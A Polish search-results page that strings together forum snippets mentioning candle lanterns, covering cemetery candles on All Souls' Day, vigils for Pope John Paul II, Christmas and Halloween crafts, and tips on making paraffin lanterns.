Wyniki wyszukiwania dla słów: lampion do świeczek

Krzyże przy drogach stoją, wieńce zwiędłe na nich
Myśli poważnieją, kiedy je mijamy
Pod nimi znicze, świeczki, kwiaty i lampiony,
Zamiast życia co zgasło – płomyk zapalony
Stoją jak punkt mapy co kres drogi znaczy
Ziemskiej, a początek wyznacza rozpaczy
W pytaniu... dlaczego? No przecież
Tyle czasu było, nie musiał się śpieszyć....
Stoją by o zmarłych nie zginęła pamięć
I dla żywych jeszcze ... na opamiętanie.


stagnacja na dekameronie?czyzby wszyscy na grobach
daje sobie uciac reke, nic nie gadacie bo jestescie z plecakiem lampionow
na cmentarzu ,na grobach bliskich, prawda? a tak powaznie,to troszke mi
smutno ,ze nie moge sama wziasc swieczki w reke,pomaszerowac droga lesna na
moj ukochany cmentarzyk w zapadlej malopolskiej wsi i zapalic je na grobach
bliskich mi bardzo ludzi.Dla mnie jest to piekny czas na refleksje na temat
zycia i smierci:))))a dla Was?

ellenai napisała:

> daje sobie uciac reke, nic nie gadacie bo jestescie z plecakiem lampionow
> na cmentarzu ,na grobach bliskich, prawda? a tak powaznie,to troszke mi
> smutno ,ze nie moge sama wziasc swieczki w reke,pomaszerowac droga lesna na
> moj ukochany cmentarzyk w zapadlej malopolskiej wsi i zapalic je na grobach
> bliskich mi bardzo ludzi.Dla mnie jest to piekny czas na refleksje na temat
> zycia i smierci:))))a dla Was?

Ja właśnie idu tam, gdzie Oni już poszli. :((( Właśnie zapada zmrok i przez
okno, w oddali, widzę łunę od zniczy na cmentarzu służewieckim.
Wiem, że ci smutno ale może jeszcze tu kiedyś będziesz- w taki właśnie wieczór,
na tak "ciepło" wpominanym przez ciebie, wiejskim SMĘTARZU.

Kochaniutcy, pora na kolejną flaszeczkę
kto pędzi do jeziorka ?
a może już tylko dyżurna z bagażnika ?

a reszta - zapraszam na taras
fotele przygotowane
kocyki rozścielone
lampiony działają

tylko łapki grzać przy świeczkach...
uszy do góry
uśmiechy na buzie
JEST PIĄTEK WIECZÓR


aankaa napisała:

> Kochaniutcy, pora na kolejną flaszeczkę
> kto pędzi do jeziorka ?
> a może już tylko dyżurna z bagażnika ?
>
> a reszta - zapraszam na taras
> fotele przygotowane
> kocyki rozścielone
> lampiony działają
>
> tylko łapki grzać przy świeczkach...
> uszy do góry
> uśmiechy na buzie
> JEST PIĄTEK WIECZÓR

Swiete slowa!Mieli wpasc jeszcze inni.Gdzie oni wszyscy?Vikus a co z nasza
powiescia forumowa?Umarla smiercia tragiczna?

marucha1 napisał:

> aankaa napisała:
>
> > Kochaniutcy, pora na kolejną flaszeczkę
> > kto pędzi do jeziorka ?
> > a może już tylko dyżurna z bagażnika ?
> >
> > a reszta - zapraszam na taras
> > fotele przygotowane
> > kocyki rozścielone
> > lampiony działają
> >
> > tylko łapki grzać przy świeczkach...
> > uszy do góry
> > uśmiechy na buzie
> > JEST PIĄTEK WIECZÓR
>
> Swiete slowa!Mieli wpasc jeszcze inni.Gdzie oni wszyscy?Vikus a co z nasza
> powiescia forumowa?Umarla smiercia tragiczna?
NIEEEEEEE!!!!!!!!!!!!W opracowaniu.Rany boskie!!!!!!!!!Chodz predko w
krzaki!!!!!!!

Piątek, pożegnanie Papieża w Mielcu
W dniu 8.04 (piatek) odbedzie sie marsz pozegnalny Jana Pawla II Marsz
przejdzie o godzinie 20.00 spod Samorzadowego Centrum Kultury do kosciola p.w.
Sw. Mateusza Apostola na Starówce, gdzie o godzinie 21.00 zakonczy sie Apelem
Jasnogórskim. Prosimy wszystkich o zabranie swiec lub lampionów. Powiadomcie
znajomych

W czwartek (7 kwietnia) Msza Św. na Rynku
"MSZA ŚWIĘTA W INTENCJI OJCA ŚWIĘTEGO NA PRZEMYSKIM RYNKU
4 kwietnia 2005r.

W przededniu zaplanowanych na piątek uroczystości pogrzebowych w Watykanie,
czyli w czwartek 7 kwietnia odprawiona zostanie na Rynku Starego Miasta w
Przemyślu Msza Święta koncelebrowana w intencji Ojca Świętego, z udziałem
pocztów sztandarowych. Wszystkich mieszkańców, którzy w ten sposób będą
chcieli pożegnać się z Papieżem Janem Pawłem II prosimy o przybycie w to
miejsce o godzinie 20.00, bądź już o godzinie 19.00 kiedy rozpocznie się
czuwanie na przemyskim Rynku. Przed Mszą Św. zaprezentowane zostaną także
materiały filmowe Telewizji Polskiej z pobytów Ojca Świętego na Podkarpaciu, w
tym także Przemyślu.
Uczestniczących w Mszy Świętej prosimy o przyniesienie świec i lampionów."

www.przemysl.pl/serwis/aktualnosci.htm#MSZA%20%A6WI%CATA%20W%20INTENCJI%20OJCA

Wszelki duch pana Boga chwali. Wit na gazecie... nie dość, że stonka, SARS,
wściekłe krowy to teraz Witek i te jego miraże :-)

A z ciekawostek. Ostatnio na chłodniku... te no.. chodniku spotkałem że ja
motucykliste. Pierun jechał na światłach... wokół cimno, słychać jeno
blachosmordy od ulicy a Tu mi jakiś goj na światłach jedzie ostrych jak
siekiera Juzka. Nic nie widzę to żem się zatrzymał. Myślę "Jeno Wit lampiony
takie ostre ma, dyć zaraz pompkom dostanę" Ale nic... czekam, światła jeno
coraz bliżej aż tu nagle motur przejechał. Nawet nie zwolnił. Prosto na mnie
walił. Zginałbym niechybnie gdym tak na czołówkę pojechał. Dlatego teraz jeżdżę
z dwoma świeczkami na kierownicy... światło toto nie daje... ale jak pacne w
ten gupi motor to... ;-)

Święta....tuż....tuż ????
Czy juz odczuwacie zblizajaca sie atmosfere swiatecznych zakupów ????
Wprawdzie miasto jeszcze szare, jeszcze nie ustrojone ale w sklepach
pomalutku przybywaja rozne swiateczne ozdobki i dekoracje. Weszłam dzisiaj do
Rossmana, jedna cała długa połka przepieknych, kolorowych ozdob
bozonarodzeniowych. A czego tam nie ma, sa choinki podswietlane i
przystrojone św.Mikołajem, figurki Mikołajowe, lampiony na swieczki do
podgrzewaczy z kolorowym witrazykiem, sa nawet bałwanki smiesznie
poubierane!!!!!!! I całe akcesorie Mikołajowych przebrań, nawet czapeczki z
dzwoneczkami ????
Och, zeby posypało tylko sniegiem w te najpiekniejsze swieta w roku :))

Ja piekłam w zeszłym roku pierwszy raz zmotywowało mnie własnie dziecko tak
samo zreszta jak do naszej własnej dużej choinki ))
Corka w zeszłym roku nic z tych pierniczkow nie rozumiala ale juz w tym
zamierzam piec razem z nią

Polecam ogromnie popularny na forum przepis , sprawdziłam osobiscie rodzina
tez i daltego w tym roku to chyba musze pic z 4kg tych pierniczkow

forum.gazeta.pl/forum/72,2.html?f=579&w=5371427&s=0)
a tu polecam jak je dekorowac

forum.gazeta.pl/forum/72,2.html?f=777&w=18410970&a=20694605
robiłam tak w zeszłym roku i cudnie wyszły ))
Mam gdzies jeszcze sciagniete zdjecia zdobienia pierniczkow , moge je pozniej
przesłac chetnym tam to sa juz całkowite arcydzieła i wiekszosc przekracza
moje mozliwosci ale jako natchnienie rewelacyjne...
ja piekłam i małe pierniczki i calkiem duze np. domek z piernika lampion na
swieczki...do kitu mi tylko wychodził lukier moz ektos ma dobry domowy przepis?
zwlaszcza proporcje...

Piękna tradycja
Pamiętam właściwie od zawsze , że w dniu 1 listopada oprócz
chodzenia na groby bliskich , moi rodzice zawsze przyprowadzali mnie
przed Grób Żołnierzy poległych w czsie 1 wojny światowej oraz wojny
z bolszewikami. Z mojego dzieciństwa pamiętam ogrom
zniczy ,świeczek , a także biało - czerwonych chorągiwek. Ten sam
obrazek widoczny również przy grobie ks.Franciszka Zientary - bo to
też historia ,nasza lokalna , zawierciańska.
To wspaniały widok , zobaczyć ,że przez wiele lat nic się nie
zmieniło ...no chyba że na lepsze bo chyba jest jeszcze więcej
lampionów i przychodzących dzieci z rodzicami , dzieci , które tak
samo jak kiedyś przychodzą zapalić "lampkę żołnierzom".
PAMIĘĆ ? TRADYCJA ? A MOŻE TYM WYRAŻAMY NASZĄ TOŻSAMOŚĆ I
PRZEKAZUJEMY NASTĘPNYM POKOLENIOM ?
W tym dniu i w tym miejscu jestem jako Zawiercianin dumny ...z
tych miejsc i z tych którzy o tych miejscach pamiętają.

Dzień mglisty, od rana do wieczora.Za oknem biała monotonia.Mimo gipsu(a
raczej,wbrew niemu), wykatulkałam się na dwór, wieczorem.Lubię mgliste
wieczory, gdy swiatło latarni ulicznych daje takie rozproszone, ciepłe swiatło.
I ta cisza.Bo podczas mgły jest cicho i tak spokojnie.Wtedy bezlistne drzewa
nabierają jakiejś łagodności. W tej wilgoci, w tym wytłumionym, gęstym powietrzu
wszystko wydaje się miękkie i przyjazne.Tak, lubię mgłę.
A parapet wewnętrzny? Mój ulubiony parapet, to ten w kuchni. Mam na nim pokażny
krzaczek bazylii (szkoda mi jej jeść, więc sobie rośnie), koszyczek z ciętymi
kwiatami i świece.Lubię je zapalać, gdy nadejdzie zmrok.Dziś uzupełniłam
zapasy: jak szalona kupowałam swiece stołowe, świeczki do podgrzewaczy,
wreszcie: kolorowe, okazałe świece, które paląc się długo, zamieniają się w
końcu w lampiony.Odpakowując jedną z nich (szczególnie okazałą:duży
pomarańczowy stożek), przeczytałam na etykiecie taki oto wierszyk, od
producenta: "żaden komar nie przyleci, kiedy nasz świeczka świeci"...
Taaak, kupiłam sobie w listopadzie świeczkę na komary... )))))))

to jest piosenka dla dzieci (glownie przedszkolakow, ktore w dniu sw. Marcina
paraduja ze swoimi laterenkami i spiewaja ta bardzo dobrze w Niemczech znana
piosenke. acha, i ten pochod odbywa sie juz wieczorem, dlatego pewnie te
gwiazdy i ksiezyc. laterenki/lampiony sa najczesciej wczesniej robione w domu z
rodzicami albo w przedszkolu, wycinane z kartonu, papieru itp., w srodku
swieczka - wiec nic dziwnego, ze boja sie wiatru i tego, ze latrenka moze
splonac.
pozdr.

Dla mnie cmentarz zawsze jest miejscem refleksji i zadumy nad losem człowieka,
uwielbiam spacer w Dzień Zadusznych późną noca ,kiedy w ciszy wśród płonących
lampionów , zniczy i świeczek jest ten króciutki moment na refleksję ... jestem
chyba jednak tradycjonalistką .Moi znajomi natomiast obrazili się dziś na
mnie ,że nie bawię się z nimi w halloween a moje maleństwo zastanawia się po co
kupiłyśmy dynię ... Właśnie !

Pomysł na swiecowy biznes??
Poszukiwanie pracy dało mi ostro w kość.
Poszukując pomysłu na siebie , bładząc pomiędzy półkami w supermarkecie weszłam między półki ze swiecami.
Przekopałam internet w szerz i wzdłóż i wymyśliłam sobie sklep ze swiecami.
Nie jest to intratny biznes i popularny. Nie spotkałam takiego sklepu jeszcze nigdzie.Piszę o sklepie realnym a nie wirtualnym
Marzy mi się otwarcie galerii swiec i wszystkiego zo się z tym wiąże. A więc świeczniki, znicze, lampiony, lampki oliwne, art do produkcji swiec itd... Czy taki sklepik miałby według was rację bytu?? Czy wogóle warto zawracać sobie głowę takim pomysłem??

Pomóżcie bo głowa juz mi paruje od pomysłów a jednak mała popularnośc tematu sprowadza mnie jednak na ziemię...
Co myślicie o takim pomyśle??

Dodam,że mieszkam w Lublinie więc całkiem sporym miescie

truskaweczki napisała:

> Poszukiwanie pracy dało mi ostro w kość.
> Poszukując pomysłu na siebie , bładząc pomiędzy półkami w
supermarkecie weszłam
> między półki ze swiecami.
> Przekopałam internet w szerz i wzdłóż i wymyśliłam sobie sklep ze
swiecami.
> Nie jest to intratny biznes i popularny. Nie spotkałam takiego
sklepu jeszcze n
> igdzie.Piszę o sklepie realnym a nie wirtualnym
> Marzy mi się otwarcie galerii swiec i wszystkiego zo się z tym
wiąże. A więc św
> ieczniki, znicze, lampiony, lampki oliwne, art do produkcji swiec
itd... Czy ta
> ki sklepik miałby według was rację bytu?? Czy wogóle warto
zawracać sobie głowę
> takim pomysłem??
>
> Pomóżcie bo głowa juz mi paruje od pomysłów a jednak mała
popularnośc tematu sp
> rowadza mnie jednak na ziemię...
> Co myślicie o takim pomyśle??
>
> Dodam,że mieszkam w Lublinie więc całkiem sporym miescie
Czesc
Ja jestem w Hiszpani tu sa takie sklepy i maja klientow Tylko
warunek musi to byc duze miasto Oferta tez rozna od hipermarketow.
Tylko swiece oryginalne ktorych niemozna kupic nigdzie indziej.
Chociaz widze tu w hipermarketach mase nowych wzorow wszystko z Chin
niestety bardzo tanie Nic nie szkodzi aby sprobowac.Zycze powodzenia

Prosba o rade
Hej, ostatnio popelnilam taki oto lampion
www.fotosik.pl/pokaz_obrazek/4e9fb8760ef13e44.html
Chodzil za mna od dlugiego czasu, no i stalo sie. Jako, ze nie chcialam
wydawac kasy na proby to zrobilam go ze stopionych tealights (takie male
swieczki do podgrzewania napojow). Niestety gdy sie nie swieci to jest
calkiem nieprzezroczysty i nawet listkow laurowych (tak, tak oszczednosc) nie
widac. Moglibyscie mi powiedziec czego urzyc by lampion byl bardziej
transparentny. Wiem, ze nigdy nie bedzie calkiem przezroczysty, ale widzialam
na kursie w cafeart, ze ciutke moze byc.

KLEJ DO LAMPIONÓW

Proponuje następujące rozwiązanie:

80-60 % parafina
20-40% wosk polietylenowy (do świec)

Parafinę roztopić, przy temp. ok. 80-90 oC dodać wosk polietylenowy i mieszając
rozpuścić go w parafinie. W ten sposób otrzymamy mieszankę o dużej lepkości
łatwą w aplikacji, która po zastygnięciu powinna być dość sztywna i elastyczna.

Niestety konkretne proporcje musicie dobrać sami metodą prób i błędów z
następujących przyczyn:
- właściwości samej parafiny – temperatura topnienia
- właściwości wosku polietylenowego – jest kilka jego rodzajów w zależności od
producenta i jego przeznaczenia.

Witaj
Ja też już czuję magię przeświątecznych dni,bardzo lubię ten czas,czas
magiczny,czas oczekiwania.
Już zrobiłam pierwsze przedświateczne zakupy,wprawdzie kupiłam tylko lampion w
ikei,ale kiedy w pochmurne wietrzne popołudnie zapalam w nim swieczkę od razu
robi jakoś tak cieplej na duszy.
A z takich rodzinnych tradycji,to na pewno nie zrezygnujemy z
postnych,wigilijnych potraw.No i zawsze stawaimy jedno dodatkowe nakrycie na
stole.................tylko nie wiem ,czy mielibyśmy odwagę przyjać do stołu
jakiegoś nieznanego wędrowca :o(
Pozdzrawiam cieplutko :o)

A mi się podobają przedświąteczne rytuały. Takie co krok po kroku zbliżają do
Świąt. Najpierw przygotowanie ciasta na piernik - tak końcem listopada. Potem w
1-ą niedzielę Adwentu wyprawa do Krakowa na jarmark adwentowy. Potem codzienne
odsłanianie jednego okienka w kalendarzu adwentowym przez synka. I zapalanie
świec na wieńcu adwentowym. I może już w tym roku przygotowanie lampionu na
roraty... I tak mi brakuje tych codziennych roratowych pobudek o 6 rano... I
tak powoli w strone Świąt. Myślę że w ten sposób ich nie rozwadniam, a raczej
potęguję oczekiwanie...

Widziałam formy metalowe z powłoką silikonową, tak jak dawnej teflonową - ale
były to one sztywne. W IKEI niedawno byłam, ale było tam tak gorąco, że kupiłam
to, po co się udałam, tj.świeczki, świeczniki, lampiony i latarenkę, a nie
dotarłam już do foremek do ciast.
Tymczasem, te z reklamy [widziałam ją rano w niedzielę - w TVN] były tak
elastyczne, że - jak to już wcześniej napisałam - zwijano je w rulonik i
chowano do szuflady.
W tej reklamie nie podano z jakiego są tworzywa - i jeśli dobrze pamiętam, to
tworzywo, to wynalazek Firmy Llorénte.
Dziękuję za zainteresowanie i pozdrawiam serdecznie!

Dynie juz macie przygotowane;)?
wiocha w pizdu z tymi dyniami,tak mie sie niedwano jeszcze wydawalo.po ostrym
balu w sobote w bururu,niedziela byla juz czilautowa.obiadek w szwejku,potem
starowka i knajpa stacja piwna-bardzo fajna,wystroj mozna nawet
zaryzykowac,ze eksluzywny,spokojniutka muza,taka w sam raz na day after.a
kelner tak mily,ze az zal bylo wychodzic(do tego przystojny na maxa,ale nie
typ wyzelowanego pizdusia,jak czesto kelnerzy maja,tylko taki jak lubie;)no i
oczywiscie we wszystkich knajpach dynie ze swieczkami,obsluga w jakichs
diabelskich przebraniach itp.jednak czlowiek do wszystkiego potrafi sie
przyzwyczaic.o ile na poczatku,jak na sile ten zwyczaj dyniowy zaczeli do nas
sprowadzac to wqrwialo mnie to strasznie,o tyle teraz juz mnnie nie wpienia,a
nawet te lampiony z dyn mi sie podobaly.fajny klimat stwarzaly,ale absolutnie
nie kojarze tego z jakims halolin,tylko traktuje jak oswietlenie;)

Wczoraj pod wieczór pojechałam na nasz Plac Piłsudskiego - tu
odbywała się uroczystość rocznicowa. Niestety, nie dane mi było
wysłuchać całego koncertu - zdołałam dotrzeć w zasadzie pod koniec.
W godzinę odejścia zapalona została duża świeca - znajdowała się w
szklanym jakby lampionie, który został zrobiony z przetopionego
szkła zniczy pozostawionych na ulicach 3 lata temu. Wiecie pewnie,
że wtedy, przynajmniej tutaj, a głównie chyba w Alei Jana Pawła II
zapalaliśmy mnóstwo świec: taki szpaler po obu stronach tej
wielkiej alei ale i wzdłuż torowiska tramwajowego.. na
kwietnikach, wszędzie gdzie się dało. To zebrane wówczas szkło

Dlaczego spotkania z fanami...
Cześć !

Ostatnio naszły mnie wspomnienia ze zlotów oraz spotkań mniej oficjalnych z
fanami. Te bezpośrednie rozmowy o Pet Shop Boys, o muzyce w ogóle, sprawach
codziennych, radościach, zmartwieniach. Na pewno to jest coś innego, moim
zdaniem lepszego, niż rozmawianie poprzez forum, nawet czat. Nie twierdzę
tutaj, że dyskusję poprzez internet to coś mało ważnego, ale mimo wszelkich
udogodnień elektronicznych zawsze jestem za spotkaniami twarzą w twarz, takie
rozmowy dają bardzo dużo, można na bieżąco wypowiadać swoje odczucia, cieszyć
się razem z innymi fanami słuchaniem Pet Shop Boys. Niezapomnianym jednak
spotkaniem była wizyta u Piotrka Moskwy Michała Żukowskiego i mnie.
Grillowanie przy muzyce PSB na dachu, obserwowanie z leżaków pięknego,
pełnego gwiazd nieba przy lampionach ze świec. Muzyka płynąca z głośników
rozwiewała się wraz z wiosennym, nagrzanym od ciepłego dnia, wieczornym
wiaterkiem. Niezapomniane, muzyczne wrażenia. Ze zlotów za to zawsze mam
wspomnienia, że przygód było bez liku... tych wesołych, roztańczonych a nawet
mrożących krew w żyłach. Wspólne śpiewanie to fantastyczna rzecz, rozbawia do
łez! Myślę, że jurorzy z Idola byliby w szoku. W ogóle wspólne przebywanie w
tak miłym zawsze gronie daje mi dużo radości. Na razie miejmy nadzieję, że w
ten majowy weekend pogoda dopisze, jak w poprzednich latach. Zloty
są "Something special"...

Anthares

Najpopularniejsza zabawa w Halloween to Łapanie jabłek – na środku
stołu umieszczamy miedniczkę z wodą, a do niej wrzucamy jabłka.
Zadaniem dzieci jest wyłowienie ich za pomocą zębów! To także rodzaj
wróżby, gdyż ten, komu powiodło się to bez uszkodzenia jabłka
zębami, ma zapewnione szczęście przez cały nadchodzący rok.
Wiszące ciastka – przez ciastka przeciągamy nitki i zawieszamy je na
np. wieszaku do ubrań. Ktoś dorosły trzyma wieszak wysoko w
powietrzu, a dzieci zjadają łakocie bez pomocy rąk.

Malowanie ciastek – wymaga wcześniejszych przygotowań. trzeba upiec
ciasteczka (mogą to być biszkopty lub kruche ciastka. Jeśli
dysponujemy odpowiednimi foremkami sprawa jest prosta. Jeśli nam
takich brak, to pieczemy ciastka w kształcie kółek, kwadratów i
prostokątów. Gościom wręczamy pisaki do malowania ciast (taki lukier
z barwnikami spożywczymi w specjalnych, wygodnych tubkach), kolorowe
posypki, drobne cukierki i proponujemy konkurs na najciekawiej
pomalowane ciastko. oczywiście tematyka powinna być związana z
halloween.

Jack O'Lantern – czyli wycinanie dyni. Wszystkim dzieciom na pewno
spodoba się wspólne przygotowywanie lampionu z dyni. Ktoś dorosły
wcześniej odcina ostrym nożem czubek dyni. Mali goście dostają łyżki
i miskę. Kiedy już wydrążą dynię, flamastrem rysują na jej
powierzchni oczy, nos, zęby. Następnie z pomocą dorosłego wycinają
otwory. Wystarczy umieścić w środku świeczkę i Jack O'Lantern
gotowy.

Krust, no widzisz to zawsze indywidualnie idzie, bo dla jednych to mile i ich
wzmacnia ze choc tego dnia moga sie spotkac z rodzina, a dla drugich bywa
przykre ze jest tyle weselszych dni i nie tak pelnych zadumy kiedy by sie mozna
bylo spotkac i integrowac rodzinne. niektorym rodzinom brak nawet takiego
jednego dnia w roku...i to jest dopiero przykre.
z innej nieco beczki...w zeszlym roku moje towarsyztwo przerzylo bardzo duzy
wstrzas kiedy zmarl brat jednego z naszych przyjaciol, zbyt mlody czlowiek aby
mozna sie bylo spokojnie z tym pogodzic. w rocznice jego smierci, w dzien 1
listopada czesc z nas udaje sie na jego grob i zostawia czy to swieczke, czy
lampion czy kwiat - z jednej stronyw ten sposob oddajemy mu czesc i takze jego
rodzinie, a z drugiej strony wiemy, ze to dla jego rodziny jest bardzow azne ze
pamiec o nim trwa w nas. to tylko jeden taki przypadek...mozna by zapewne je
mnozyc w nieskonczonosc, ale to wszytsko sprowadza sie do pewnego mianowika, w
ktorym sa te zapewne te elementy, ktore wymienilem w moim wczesniejszym poscie.

pozdrawiam, albert

.. i ja tez dzionek udany....

** sloo
w sniegu mozna jeszcze aniolki zrobic....
wybudowac domek-iglo....
szkoda,ze dzieciaki juz dorosle,
niema z kim budowac ....

zawsze budowalismy z kulek sniegowych domki na swieczki,
slicznie wygladaly przed domem-lampiony )

a domeczek przytulny/pachnacy zywica i grzanym winem
po igraszkach na sniegu,
chyba kazdy uwielbia.......

kocham zime i mowcie sobie co chcecie.. )

kendo napisała:

> .. i ja tez dzionek udany....
>
> ** sloo
> w sniegu mozna jeszcze aniolki zrobic....
> wybudowac domek-iglo....
> szkoda,ze dzieciaki juz dorosle,
> niema z kim budowac ....
>
> zawsze budowalismy z kulek sniegowych domki na swieczki,
> slicznie wygladaly przed domem-lampiony )
>
> a domeczek przytulny/pachnacy zywica i grzanym winem
> po igraszkach na sniegu,
> chyba kazdy uwielbia.......
>
> kocham zime i mowcie sobie co chcecie.. )

zeby tak mozna bylo wypuscic sie gdzies razem w goru tam gdzie prawdziwa biala
zima, ale byloby cudnie co?
moim marzeniem jest jeszcze pojechac w gory ale wlasnie zima,tylko,szkoda,ze to
takie trudne do zrealizowania

slo-onko napisała:

> kendo napisała:
>
> > .. i ja tez dzionek udany....
> >
> > ** sloo
> > w sniegu mozna jeszcze aniolki zrobic....
> > wybudowac domek-iglo....
> > szkoda,ze dzieciaki juz dorosle,
> > niema z kim budowac ....
> >
> > zawsze budowalismy z kulek sniegowych domki na swieczki,
> > slicznie wygladaly przed domem-lampiony )
> >
> > a domeczek przytulny/pachnacy zywica i grzanym winem
> > po igraszkach na sniegu,
> > chyba kazdy uwielbia.......
> >
> > kocham zime i mowcie sobie co chcecie.. )
>
> zeby tak mozna bylo wypuscic sie gdzies razem w goru tam gdzie prawdziwa
biala
> zima, ale byloby cudnie co?
> moim marzeniem jest jeszcze pojechac w gory ale wlasnie zima,tylko,szkoda,ze
to
>
> takie trudne do zrealizowania

hmmm...pobyc w prawdziwnym mroziku
co szczypie w policzki
i sniezek skrzypi pod stopami....
ale to musi byc wysoko w gorach,bo w Karkonoszach raczej malo sniegu
z wlasnego pobytu wiem,

Kochana sloo jetes )
jak kawcie, to tylko z mleczkiem )

ja chcialaby Was bardzo zaprosic do mojego stolu,
gdzie w promieniach swiec bedzie widoczne
to co najbardziej lubie na takich uroczystosciach:
*szampan obowiazkowo,
*grzanki z kawiorem/awokado i cytrynka,
*losos z marynatu z cytrynka
*torcik chlebowy z owocami morza
*na deser :toscka ciasto(z migdalami),budapesttorta(z orzechami)
*rozne likierki w roznych polaczeniach

barek i stol suto zaopatrzony,
prosze sie czestowac )

po wstepnych degustacjach zapraszam na parkiet
swizo wywoskowany na te okolicznosc,
sala w cieplym swietle swiec,z balonikiami/serpentynami/lampionami przystrojona
i muzyka dla kazdego cos porywajacego
lub wrecz spokojnego-takiego bliskiego kontaktu "trzeciego stopnia"
no coz trzeba wykorzystac te ostania noc w sposob mily
by zostal na dlugo w pamieci )

PZYJEMNEJ NOCY SYLWESTROWEJ.

W każdą niedzielę adwentową po próbach w szkole odbywał się obchód z gwiazdą
przez wieś. Gwiazdę robiono z kolorowego papieru, w rodzaju lampionu, w środku
zapalano świeczkę i wieszano na dość długim kiju. Do młodzieży z gwiazdami
dołączali mieszkańcy wsi, niosąc w ręku świecę lub palącą się latarnię. Po
obejściu wsi wszyscy wstępowali do szkoły, gdzie nauczyciel czytał ewangelię i
śpiewano wspólnie pieśń adwentową, a przy rozejściu się 'Z samego nieba idę k'wam'.
Ostatni raz obchodzili wieś z gwiazdą w wigilię Godnych Świąt bardzo wcześnie
rano. Dołączali wtedy wszyscy mieszkańcy, by wspólnie wejść do kościoła czy
szkoły, gdzie wystawiano Jutrznię o godzinie czwartej rano."

My robimy ozdoby z masy solnej które potem piecze się w piekarniku i maluje
farbami plakatowymi. Robimy też lampiony, czyli oklejamy słoiki bibułą i
naklejamy świąteczne kształty, typu gwiazdki, czy choinki też z bibuły w innych
kolorach. Potem wkłada się do tego świeczkę lampion gotowy. Robimy też witraże,
wycinamy kształy np. choinkę w kawałku sztywnego papieru i oklejamy dziury
bibułą różnego koloru. To tylko kilka rzeczy które robimy, mam nadzieję, że się
przyda.

powoli kończy się wakacyjne turnee po Europie i czas kierować się w
stronę domu...

w sumie było cudownie, nawet mógłbym powiedzieć, że oderwałem się od
rzeczywistości, choć oczywiście tęsknota może przyćmić nawet
najpiękniejszą chwilę. Zastanawiam się czy jeszcze wróci
kiedykolwiek dawne, "normalne" pojmowanie radości, szczęścia,
chwili, znaczeń. Najtrudniejsze dla mnie było ... siedzenie
wieczorem przy świecach... W domu jakoś nie miałem okazji ani
potrzeby zapalaś świec, tam gdzie byłem wieczorami przesiadywało się
przy świecach czy lampionach w ogrodzie. To co dla wszystkich (i dla
mnie oczywiście kiedyś) tworzyło romantyczną atmosferę teraz kojarzy
mi się z cmentarzem i zniczami... I czemu pytam patrzę na płomień
nie jak na życie i radość co przecież oznacza jako symbol tylko na
śmierć. I kiedy i czy kiedykolwiek to minie. Kiedy każdy płomień
przestanie być płomieniem znicza...

Mimo wszystko spędziliśmy cudowne wakacje, choć jeszcze się nie
skończyły.

Pozdrawiamy Was serdecznie,
Daniel i Piotruś

Pomysł na ozdoby choinkowe?
Szukam ciekawych pomysłów na wszelkiego rodzaju ozdoby choinkowe i różne
drobiazgi związane z bożym narodzeniem, a także na ozdoby świąteczne do
dekoracji wnętrza, stołu itp. Jeśli ktoś miałby jeszcze dodatkowo ciekawy
link z tym związany to również będę wdzięczna.
Napiszę co ja narazie wymyśliłam: aniołki z masy solnej, aniołki z papieru,
lampiony z bibułki, papierowe choinki (kirigami), świeczki z tekturowej rolki
od papieru toaletowego, ...ale może ktoś miałby coś jeszcze innego, z góry
wielkie dzięki

od dwóch lat robię lampiony z parafiny - więc kupuję ją w ilościach hurtowych,
tzn. jednorazowo worek 20 kg (granulat). Worek kosztuje (po ostatniej niestety
podwyżce) ok. 90 zł - są też tańsze i droższe, ale to jaką się kupuje zależy od
tego co z nuiej ma powstać. Moja jest dość twarda, bardzo czysta i trochę
przejrzysta, robi sie z niej świece (a nie np. znicze). Ma symbol HR-56,
wytwarza ją rafineria w Trzebinii: www.naftowax.pl. Kupuję ją od firmy, która ją
sprowadza wraz z innymi produktami ropopochodnymi (wcześniej brałam z hurtowni z
materiałami do wyrobu zniczy i świec). Najlepiej pójść tym tropem i szukać
takich firm w swojej okolicy - pod Warszawą napewno jest ich pełno, w rafinefii
powinni podać adresy.
Parafina kupiona w sklepie dla hobbystów jest bardzo droga, ale jeśli
potrzebujesz śladowe ilości to to chyba najprostsze. Ostatecznie możesz też użyć
najtańszych świeczek i je roztopić...
Powodzenia w poszukiwaniach

www.oranzeria.com

w MCI...
uff to będzie długi post... bo tam w środku jest chyba wszystko

zacznę od tego, co ładne i proste:
- fajny pomysł na ozdobę stołu: rumiane jabłuszka pomalowane białym lukrem w
świąteczne wzory i hasła
- ozdoby choinkowe: komety z masy (w gwiazdce z masy robimy dodatkową dziurkę i
przewlekamy przez nią ogon/chwost z rafii albo innego sznurka, proste i
efektowne), modele z wygiętego drutu, bombki z żarówek owiniętych kolorową wełną
- ozdabianie świec kolorowym woskiem (z płatków wosku wycinamy motywy za pomocą
piernikowych foremek) i błyszczącą folią

a teraz przegląd wg technik (wszystkiego nie wymienię):
- papier: lampiony w kształcie domków, róże, margerytki, kartki świąteczne
(bombki, wiatraczek), kalendarz adwentowy-domek
- zimowe motywy do malowania (gwiazdki i sceny na lodowisku - ta jest
wykorzystana do ozdobienia szafki)
- druty: pled w zimowe wzory, kwiatek do czapki, szalik
- haft krzyżykowy: poduszka w pędzące renifery
- patchwork: obrus, pled i torba w sceny narciarskie (te same motywy są też do
wyrobienia na drutach i w hafcie krzyżykowym)
- szycie: sukienka dziewczęca, skarpety-czapeczki elfów, poduszka z malowanym
wzorem + wykroje zabawek: miś, lalki-elfy, pompony-domki oraz instrukcja
wykonania misiaczka ze sfilcowanej wełny

jest też przepis na tort lodowy
i jeszcze bardzo fajna rzecz - na 10 stronach zdjęcia prac przesłanych na
konkurs ogłoszony przez gazetę, wszystko z motywami górskimi, bo zysk ze
sprzedaży ma służyć organizacji "A chacun son Everest". fajność polega na tym,
że można pooglądać co potrafią zrobić hobbyści

lampiony
swojego czasu robiłam,
nie było jeszcze wtedy takiego wyboru farb witrażowych,
więc obklejałam je przeźroczystą folią witrażową
i na sznurkach wieszałam w ogrodzie na drzewach
z świeczkami do podgrzewaczy...
fajny efekt, na grilla na przykład

Proponuje ładny świecznik, lampion. pergamin lub pólpergamin tniemy w prostokat.
Soryskujemy klejem w sprau po czym układamy na nim rózne niteczki płaskie listki
wyciete z bibułki bardz koraliki płaskie. Nastepnie sklejami delikatnie brzegi
prostokąta a w srodek wkladamy swieczke. Efekt przypomina troche witrazyk

Przy okolo 12 wystepach tygodniowo trudno uniknac wpadek, poczawszy od
zawisajacej na lampionie woaly, zaczepionym we wlosy, albo co gorsza latajacym
